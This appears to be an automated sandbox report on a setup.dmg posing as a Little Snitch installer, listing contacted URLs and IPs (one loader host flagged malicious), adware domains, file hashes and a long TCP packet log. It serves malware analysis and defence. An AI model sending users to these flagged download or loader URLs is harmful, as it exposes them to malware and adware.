http://feed.tapufind.com/Pixel.aspx?name=TapuFind&type=extensioninstalled&browser=false&entity=31&barcode=52413004&userid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c&data1=true	false	high
http://install.osxappdownload.com/download/mcwnet	false	unknown
http://search.tapufind.com/js/preloadjs-0.6.2.min.js?v=6	false	high
http://search.tapufind.com/csp.aspx?barcode=tapufindsf\|yhs	false	high
http://feed.tapufind.com/	false	high
http://34.225.153.59:10000/loadPE/CSS/MacStyle.css	true	unknown
http://34.225.153.59:10000/loadPE/Image/loading.gif	true	unknown
http://display.online-adnetwork.com/imp?i=6cy8GQVa6Zc_0	false	unknown
http://search.tapufind.com/tpmac.html?q=	false	high
http://34.225.153.59:10000/loadPE/checkPost.php	true	unknown
http://cloud-search.linkury.com/MaxMind.asmx/GetGeoInfo	false	unknown
http://display.online-adnetwork.com/tag?zone_id=58942&size=300x250&pub_keyword=&context=syn_d955cead-824c-4550-9e89-02e36ed3c263&rnd=75329692	false	unknown
http://34.225.153.59:10000/loadPE//bootstrap/css/bootstrap.min.css	true	unknown
http://www.rached.space/mmecw/qqvdwx?cid=3gggkfl1b0pp5pt5sadh&f=setup&pvhid=36264242-8135-4590-9915-e3e977081c0c	false	unknown
http://34.225.153.59:10000/loadPE/Image/clean.png	true	unknown
http://search.tapufind.com/js/classList.js?v=6	false	high
http://34.225.153.59:10000/loadPE//JavaScript/jquery.min.js	true	unknown
http://34.225.153.59:10000/loadPE/LastPage.html	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://www.go-mono.com/mono-downloads/download.html	setup.dmg	false	unknown
http://docs.xamarin.com/ios/about/limitations	setup.dmg	false	high
http://bugzilla.xamarin.com%s//%s%s/%sXamarin.Mac:	setup.dmg	false	low
http://ios.xamarin.com/Documentation/Limitations#Reverse_Callbackssig-	setup.dmg	false	high
http://www.mono-project.com/download.	setup.dmg	false	high
http://www.gexf.net/1.2draft	setup.dmg	false	unknown
http://bugzilla.xamarin.com%	setup.dmg	false	low
http://ios.xamarin.com/Documentation/Limitations#Reverse_Callbacks	setup.dmg	false	high
http://bugzilla.xamarin.com	setup.dmg	false	high
http://www.mono-project.com/Diagnostic:Delegate	setup.dmg	false	high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Country	ASN	ASN Name	Malicious
65.52.32.169	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCK-MicrosoftCorporationUS	false
52.89.234.147	United States	16509	AMAZON-02-AmazoncomIncUS	false
35.161.68.49	United States	16509	AMAZON-02-AmazoncomIncUS	false
95.100.97.91	European Union	20940	AKAMAI-ASN1US	false
13.66.51.223	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCK-MicrosoftCorporationUS	false
178.250.0.130	France	44788	ASN-CRITEO-EUROPEFR	false
5.57.17.90	Netherlands	43996	BOOKING-BVBookingcomNL	false
178.250.2.146	France	44788	ASN-CRITEO-EUROPEFR	false
52.40.4.65	United States	16509	AMAZON-02-AmazoncomIncUS	false
13.66.51.37	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCK-MicrosoftCorporationUS	false
52.174.148.190	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCK-MicrosoftCorporationUS	false
35.162.20.150	United States	16509	AMAZON-02-AmazoncomIncUS	false
5.57.17.220	Netherlands	43996	BOOKING-BVBookingcomNL	false
185.235.84.23	unknown	60781	LEASEWEB-NLNetherlandsNL	false
5.57.17.99	Netherlands	43996	BOOKING-BVBookingcomNL	false
5.57.16.100	Netherlands	43996	BOOKING-BVBookingcomNL	false
74.117.182.93	United States	40824	WZCOM-US-WZCommunicationsIncUS	false
13.84.45.249	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCK-MicrosoftCorporationUS	false
178.250.2.150	France	44788	ASN-CRITEO-EUROPEFR	false
178.250.0.160	France	44788	ASN-CRITEO-EUROPEFR	false
185.235.84.148	unknown	60781	LEASEWEB-NLNetherlandsNL	false
77.245.58.151	Netherlands	36057	WEBAIR-INTERNET-MTL-WebairInternetDevelopmentCompanyIn	false
178.250.0.145	France	44788	ASN-CRITEO-EUROPEFR	false
185.235.84.37	unknown	60781	LEASEWEB-NLNetherlandsNL	false
77.245.58.158	Netherlands	36057	WEBAIR-INTERNET-MTL-WebairInternetDevelopmentCompanyIn	false
34.225.153.59	United States	14618	AMAZON-AES-AmazoncomIncUS	true
192.229.133.52	United States	15133	EDGECAST-MCICommunicationsServicesIncdbaVerizonB	false
192.229.133.51	United States	15133	EDGECAST-MCICommunicationsServicesIncdbaVerizonB	false
17.252.28.96	United States	714	APPLE-ENGINEERING-AppleIncUS	false
52.219.28.25	United States	16509	AMAZON-02-AmazoncomIncUS	false

Static File Info

General
File type:	ISO 9660 CD-ROM filesystem data 'Little_Snitch_583_MAC_OS_X '
Entropy (8bit):	6.261545578235598
TrID:	null bytes (2050048/1) 99.07% Photoshop Action (5010/6) 0.24% Java Script embedded in Visual Basic Script (3500/0) 0.17% Lotus 123 Worksheet (generic) (2007/4) 0.10% Java Script (2000/0) 0.10%
File name:	setup.dmg
File size:	9555968
MD5:	cfb9f24b4bb225b861ae9916a1c45c5e
SHA1:	7578126419c2df9b150074d91ec724fdc6d0b1f6
SHA256:	c87d858c476f8fa9ac5b5f68c48dff8efe3cee4d24ab11aebeec7066b55cbc53
SHA512:	4373fbd4b3455f7097986252e7838b41e4cbae4c62d0d42bd22ef660e2b69ea63f1009133e7feff0f96f566fec63427f1db6712430b8b8df8b5a96dcc10c0d9b
SSDEEP:	98304:77V2wMWI4ftj8QNQY2s2LffaOZ6MYT0EZ8b3wcUHw5sy0S:77V28I4iQQzfa78TwcIksy0
File Content Preview:	...............................................................................................................................................................................................................................................................

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 14, 2019 12:59:22.190877914 MEZ	61670	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:22.196355104 MEZ	53	61670	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:26.128977060 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.225116014 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.227520943 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.228663921 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.324193954 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.365892887 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.365982056 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.366041899 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.366147041 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.366271019 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.366375923 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.366522074 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.366540909 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.368629932 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.368665934 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.368674040 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.368679047 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.369599104 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.438771963 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.439461946 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.439742088 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.534303904 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.534523964 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.534643888 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.534703016 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.534816027 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.534945965 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.535084963 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.535325050 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.535362959 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.535393000 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.535753965 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.535785913 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.536221027 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.536240101 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.536710024 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.536715984 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.536717892 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.536720037 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.536721945 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.537640095 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.537657022 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.537663937 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.537668943 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.537673950 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.538083076 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.538090944 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.538173914 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.538182020 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.538187981 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.539051056 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.539122105 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.539277077 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.539284945 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.539323092 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.633229017 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.633361101 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.633500099 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.633550882 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.633946896 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.633980036 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.634023905 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.634043932 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.634156942 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.634258032 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.634371996 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.634902954 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.634922981 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.634973049 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.635021925 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.635142088 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.635265112 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.635392904 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.635447025 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.635526896 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.635529041 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.635530949 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.635670900 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.635695934 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.635786057 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.635902882 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.635910988 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.635926962 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.636023045 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.636132002 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.636153936 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.636241913 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.636354923 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.636480093 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.636599064 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.636730909 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.636843920 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.636981010 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.637020111 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.637033939 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.637038946 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.637044907 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.637049913 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.637094975 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.638124943 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.638135910 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.638140917 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.638145924 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.638150930 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.638155937 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.638160944 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.638165951 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.638170958 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.638245106 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.638405085 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.638412952 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.638475895 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.638705969 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.638725996 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.638732910 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.638956070 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.639039040 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.639259100 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.640887976 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.733484030 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.733521938 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.733633041 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.733757019 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.733882904 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.733974934 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.734092951 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.734210968 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.734330893 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.734864950 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.734877110 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.734896898 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.734896898 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.734903097 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.734916925 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.735054016 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.735155106 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.735304117 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.735315084 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.735366106 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.735424995 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.735471010 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.735589027 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.735804081 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.735829115 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.736134052 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.736324072 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.736550093 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.736694098 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.736696005 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.736699104 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.736701012 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.736701965 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.736984968 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.736995935 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.737001896 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.737308979 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.737310886 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.738210917 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.738223076 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.738228083 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.738240004 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.738354921 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.738600969 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.738658905 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.738925934 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.738928080 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.738929033 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.738930941 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.738933086 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.739864111 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.739881039 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.739887953 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.739893913 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.739898920 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.739903927 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.739932060 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.740019083 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.740595102 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.740597010 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.740597963 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.740598917 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.741466999 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.741481066 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.741487026 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.741492033 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.741497993 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.743580103 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.743592024 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.743612051 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.831760883 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.831852913 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.831913948 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.832026005 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.832146883 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.832266092 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.832385063 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.832532883 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.832617044 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.833339930 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.833400011 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.833554983 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.833559990 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.833561897 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.833564043 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.833623886 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.833648920 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.833749056 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.833853006 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.833899975 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.833921909 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.833928108 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.833981991 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.834156036 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.834295034 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.834321976 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.834431887 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.834558010 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.834650040 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.835021973 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.835032940 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.835037947 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.835756063 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.835758924 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.835761070 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.835762978 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.835804939 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.836373091 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.836375952 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.836376905 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.836379051 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.836662054 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.836663961 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.836704969 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.836718082 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.836724043 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.836729050 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.836734056 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.836739063 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.836744070 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.836781025 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.836786032 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.836925983 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.837014914 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.837265968 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.837291956 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.837399006 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.837524891 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.837645054 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.837779999 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.837958097 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.838016033 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.838016987 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.838020086 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.838021994 MEZ	10000	49284	34.225.153.59	192.168.0.50
